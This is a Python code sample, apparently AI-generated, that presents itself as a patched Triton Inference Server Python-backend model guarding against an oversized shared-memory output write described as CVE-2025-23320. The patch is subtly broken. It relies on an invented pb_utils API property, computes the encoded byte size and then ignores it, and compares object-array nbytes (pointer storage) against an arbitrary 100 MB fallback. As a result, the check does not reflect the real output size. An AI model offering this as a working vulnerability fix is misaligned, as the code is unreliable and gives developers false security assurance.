Patched code sample

import numpy as np
import triton_python_backend_utils as pb_utils

# This code is a hypothetical representation of a fix for a vulnerability
# like the one described. Since CVE-2025-23320 is not a real CVE as of
# early 2024, the actual fix code from NVIDIA does not exist.
#
# The vulnerability described is that a large request could cause the
# Python backend to attempt to write an output that exceeds the
# pre-allocated shared memory buffer size.
#
# The fix, therefore, is to check the size of the generated output
# against the allocated buffer size before attempting to write to it.

class TritonPythonModel:
    """
    A model that demonstrates a security check to prevent writing an output
    that is larger than the shared memory buffer allocated for it.
    """

    def execute(self, requests):
        """
        This function is called for each batch of inference requests.
        """
        responses = []

        # Process each request in the batch
        for request in requests:
            # Get the input tensor
            input_tensor = pb_utils.get_input_tensor_by_name(request, "INPUT_0")
            input_data = input_tensor.as_numpy()

            # --- VULNERABILITY MITIGATION START ---

            # In a real scenario, the model logic would produce a result.
            # We simulate a result being produced. This result's size might
            # be dangerously large depending on the input.
            # For demonstration, we create an output array of the same size as input.
            # An attacker might provide a very large input to trigger a large output.
            result_data = np.array(
                [f"Processed: {s}" for s in input_data.flatten()],
                dtype=object
            )
            result_data = result_data.reshape(input_data.shape)

            # Calculate the size in bytes of the result we are about to create.
            # For numpy arrays of objects, nbytes can be misleading, so we
            # calculate it more accurately for string/object types.
            if result_data.dtype == object:
                # In Python 3, sys.getsizeof() on a string includes overhead.
                # A closer approximation for the buffer is the sum of lengths.
                # Here we use nbytes which for object arrays stores pointers,
                # but for the actual Triton tensor we need to encode to bytes.
                # Let's simulate the byte-encoded size.
                encoded_size = np.sum([len(str(s).encode('utf-8')) for s in result_data.flat])
                # We use a simplified `nbytes` for this example's clarity.
                # In a real fix, the exact byte size after Triton's specific
                # encoding would be calculated.
                output_size_in_bytes = result_data.nbytes
            else:
                output_size_in_bytes = result_data.nbytes

            # This is the core of the fix:
            # We must get the size of the buffer that Triton has allocated
            # for the output tensor in shared memory.
            # NOTE: The function `get_output_tensor_buffer_size_in_bytes` is
            # a hypothetical API for demonstration purposes. A real implementation
            # would use a similar mechanism provided by the Triton backend API
            # to query the allocated memory size for a given output.
            try:
                # This hypothetical function would be part of the pb_utils or
                # request object to provide the allocated shared memory limit.
                allocated_shm_size = pb_utils.get_output_config_property(
                    request.get_response_sender(),
                    "OUTPUT_0",
                    "allocated_shm_byte_size" # Hypothetical property
                )
            except AttributeError:
                # As a fallback for this demonstration if such a function
                # doesn't exist, we'll simulate a fixed limit, e.g., 100MB.
                # A real fix would depend on the Triton C-API providing this info.
                allocated_shm_size = 100 * 1024 * 1024  # 100 MB


            # Compare the required size with the allocated size.
            if output_size_in_bytes > allocated_shm_size:
                # If the output is too large, do not proceed.
                # Instead, create an error response and inform the user.
                # This prevents the memory corruption that would occur
                # by writing past the end of the allocated buffer.
                error_message = (
                    f"Generated output size ({output_size_in_bytes} bytes) "
                    f"exceeds the allocated buffer limit ({allocated_shm_size} bytes)."
                )
                error = pb_utils.TritonError(message=error_message)
                response = pb_utils.InferenceResponse(output_tensors=[], error=error)
                responses.append(response)
                # Continue to the next request in the batch
                continue

            # --- VULNERABILITY MITIGATION END ---

            # If the size check passes, we can safely create the output tensor.
            # Triton will handle writing this to the correctly-sized buffer.
            output_tensor = pb_utils.Tensor("OUTPUT_0", result_data)
            response = pb_utils.InferenceResponse(output_tensors=[output_tensor])
            responses.append(response)

        return responses